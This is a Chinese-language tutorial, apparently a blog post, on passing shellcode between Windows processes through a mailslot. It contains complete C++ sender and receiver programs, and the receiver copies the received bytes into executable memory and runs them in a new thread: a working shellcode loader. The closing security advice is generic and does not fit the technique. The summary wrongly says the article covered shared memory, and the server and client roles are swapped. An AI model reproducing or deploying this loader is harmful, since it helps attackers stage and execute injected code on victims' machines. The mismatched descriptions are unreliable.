在電腦保安領域,程式間通訊(IPC)一直是一個備受關注的話題。在本文中,我們將探討如何使用Windows郵件槽(Mailslot)實現ShellCode的跨程式傳輸。郵件槽提供了一種簡單而有效的單向通訊機制,使得任何程式都能夠成為郵件槽伺服器,並透過UDP
通訊向其他程式傳送資料。
郵件槽是Windows作業系統提供的一種用於本地程式間通訊的機制。它允許一個程式建立一個命名的槽,並允許其他程式透過該槽向建立它的程式傳送訊息。在本文中,我們將使用郵件槽實現程式間的ShellCode
傳輸。如果需要雙向通訊或更復雜的通訊需求,需要考慮其他IPC
機制,例如命名管道、套接字等。
服務端部分
服務端端部分的實現非常簡單,透過使用MAIL_SLOT_NAME
可以定義郵件槽的名稱,該名稱用於標識服務端和客戶端之間的郵件槽。這是一個字串常量,按照 Windows 命名約定的格式指定了郵件槽的路徑。
讓我來解釋這個定義的具體含義:
\\\\.
:表示本地計算機,即當前計算機的名稱空間。mailslot
:指定郵件槽的型別。Name
:是你給郵件槽指定的名稱,可以根據實際需要更改。
所以,整個路徑 \\\\.\\mailslot\\Name
指代的是一個本地計算機上的郵件槽,其名稱為 Name
。這個路徑會在建立和開啟郵件槽時使用,確保兩個程式使用相同的路徑來通訊。
在服務端建立郵件槽時,透過 CreateFile
函式中的 MAIL_SLOT_NAME
引數指定郵件槽的名稱,確保服務端和客戶端使用相同的名稱來建立通訊連線。
CreateFile
用於建立或開啟檔案、資料夾、郵件槽、管道等物件的控制程式碼。在你提供的程式碼中,CreateFile
主要用於開啟郵件槽,以便在服務端寫入資料。
以下是 CreateFile
函式的一般形式:
HANDLE CreateFile(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
引數說明:
lpFileName
:指定檔案或物件的名稱,可以是一個路徑、檔名或其他識別符號。dwDesiredAccess
:指定對檔案的訪問許可權,例如GENERIC_READ
、GENERIC_WRITE
等。dwShareMode
:指定共享模式,例如FILE_SHARE_READ
、FILE_SHARE_WRITE
等。lpSecurityAttributes
:指定安全屬性,通常設定為NULL
。dwCreationDisposition
:指定檔案的建立或開啟方式,例如OPEN_EXISTING
、CREATE_NEW
等。dwFlagsAndAttributes
:指定檔案或物件的屬性,例如FILE_ATTRIBUTE_NORMAL
。hTemplateFile
:指定一個檔案控制程式碼,用於複製檔案屬性。
如上所示,我們只需要遵循郵件槽的建立流程並使用CreateFile
建立通訊,當需要傳輸郵件的時候可以直接呼叫WriteFile
傳送郵件,這是一個很好的功能,你可以傳送郵件也可以傳送各種你喜歡的亂七八糟的東西。
#include <windows.h>
#include <iostream>
using namespace std;
#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name"
char ShellCode[] = "此處是ShellCode";
int main(int argc, char* argv[])
{
HANDLE hWriteMailSlot = NULL;
while (TRUE)
{
hWriteMailSlot = CreateFile(MAIL_SLOT_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hWriteMailSlot == INVALID_HANDLE_VALUE)
continue;
else
break;
}
DWORD dwReturn = 0;
// 傳送郵件槽
WriteFile(hWriteMailSlot, ShellCode, strlen(ShellCode), &dwReturn, NULL);
CloseHandle(hWriteMailSlot);
return 0;
}
客戶端部分
為了實現通訊,客戶端部分也需要使用郵件槽,在MAIL_SLOT_NAME
中指定相同的郵件名,透過CreateMailslot
函式,建立郵件槽(Mailslot),這是一種用於本地程式間通訊的機制。郵件槽是一種命名的管道,用於在同一臺計算機上的不同程式之間傳遞資料。
以下是 CreateMailslot
函式的一般形式:
HANDLE CreateMailslot(
LPCTSTR lpName,
DWORD nMaxMessageSize,
DWORD lReadTimeout,
LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
引數說明:
lpName
:指定郵件槽的名稱,形如\\.\mailslot\your_mailslot_name
。nMaxMessageSize
:指定郵件槽中訊息的最大大小。lReadTimeout
:指定在讀取資料時的超時時間(以毫秒為單位)。lpSecurityAttributes
:指定郵件槽的安全屬性,可以為NULL
。
在程式碼中,CreateMailslot
用於建立郵件槽:
hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);
這行程式碼的作用是建立一個郵件槽,使用了預定義的郵件槽名稱 MAIL_SLOT_NAME
作為引數,nMaxMessageSize
和 lReadTimeout
都設定為零,表示使用預設值。如果建立成功,hReadMailSlot
將獲得一個有效的郵件槽控制程式碼,可以用於後續的資料讀取操作。
建立好連結之後接下來就可以透過GetMailslotInfo
函式獲取郵件了,當然了這個要死迴圈等待郵件,GetMailslotInfo
用於檢查郵件槽的狀態資訊。它提供了有關郵件槽當前狀態的資訊,例如有多少訊息在郵件槽中、每個訊息的大小等。
以下是 GetMailslotInfo
函式的一般形式:
BOOL GetMailslotInfo(
HANDLE hMailslot,
LPDWORD lpMaxMessageSize,
LPDWORD lpNextSize,
LPDWORD lpMessageCount,
LPDWORD lpReadTimeout
);
引數說明:
hMailslot
:郵件槽的控制程式碼,透過CreateMailslot
函式或CreateFile
函式獲得。lpMaxMessageSize
:指向一個變數,用於接收郵件槽中單個訊息的最大大小。lpNextSize
:指向一個變數,用於接收下一個訊息的大小。lpMessageCount
:指向一個變數,用於接收郵件槽中當前的訊息數目。lpReadTimeout
:指向一個變數,用於接收在讀取資料時的超時時間(以毫秒為單位)。
在你的程式碼中,GetMailslotInfo
用於獲取郵件槽的資訊:
bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);
這行程式碼的作用是獲取郵件槽 hReadMailSlot
的資訊,其中 cbMessage
接收訊息的大小,cMessage
接收訊息的數量。這樣的資訊可以在接收方確定是否有待處理的訊息,以及處理這些訊息所需的空間。
一般來說當收到了新郵件之後可以直接使用ReadFile
函式讀出這段郵件,讀出來的郵件就可以直接反彈了,如下程式碼所示;
#include <windows.h>
#include <iostream>
using namespace std;
#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name"
HANDLE hReadMailSlot = INVALID_HANDLE_VALUE;
DWORD WINAPI ReadMail()
{
hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);
if (hReadMailSlot == INVALID_HANDLE_VALUE)
{
return -1;
}
// 檢視油槽的資訊
DWORD cbMessage = 0, dwReturn = 0, cMessage = 0;
BOOL bOk = FALSE;
char ShellCode[4096] = { 0 };
while (TRUE)
{
bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);
if (bOk == FALSE)
break;
if (cMessage == 0)
continue;
else
{
if (ReadFile(hReadMailSlot, ShellCode, cbMessage, &dwReturn, 0) == TRUE)
{
HANDLE hThread = NULL;
cout << ShellCode << endl;
// 注入ShellCode並執行
void* ptr = VirtualAlloc(0, sizeof(ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(ptr, ShellCode, sizeof(ShellCode));
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ptr, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
}
}
}
}
int main(int argc, char* argv[])
{
HANDLE hReadThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadMail, NULL, 0, NULL);
Sleep(INFINITE);
if (hReadMailSlot != INVALID_HANDLE_VALUE)
{
CloseHandle(hReadMailSlot);
}
return 0;
}
潛在風險和安全建議
雖然這種方法在本地攻擊場景中有一定的巧妙性,但也存在潛在的風險。以下是一些建議:
- 防禦共享記憶體濫用: 作業系統提供了一些機制,如使用 ACL(訪問控制列表)和安全描述符,可以限制對共享記憶體的訪問。合理配置這些機制可以減輕潛在的濫用風險。
- 加強系統安全策略: 使用強密碼、及時更新系統和應用程式、啟用防火牆等都是基礎的系統安全策略。這些都有助於防止潛在的Shellcode攻擊。
- 監控和響應: 部署實時監控和響應系統,能夠及時檢測到異常行為並採取相應措施,對於減緩潛在威脅的影響十分重要。
總結
本文介紹了透過共享記憶體傳遞Shellcode的方法,透過這種巧妙的本地攻擊方式,兩個程式可以在不直接通訊的情況下相互傳遞Shellcode。然而,使用這種技術需要非常謹慎,以免被濫用用於不當用途。在實際應用中,必須謹慎權衡安全性和便利性,同時配合其他防禦措施,確保系統的整體安全性。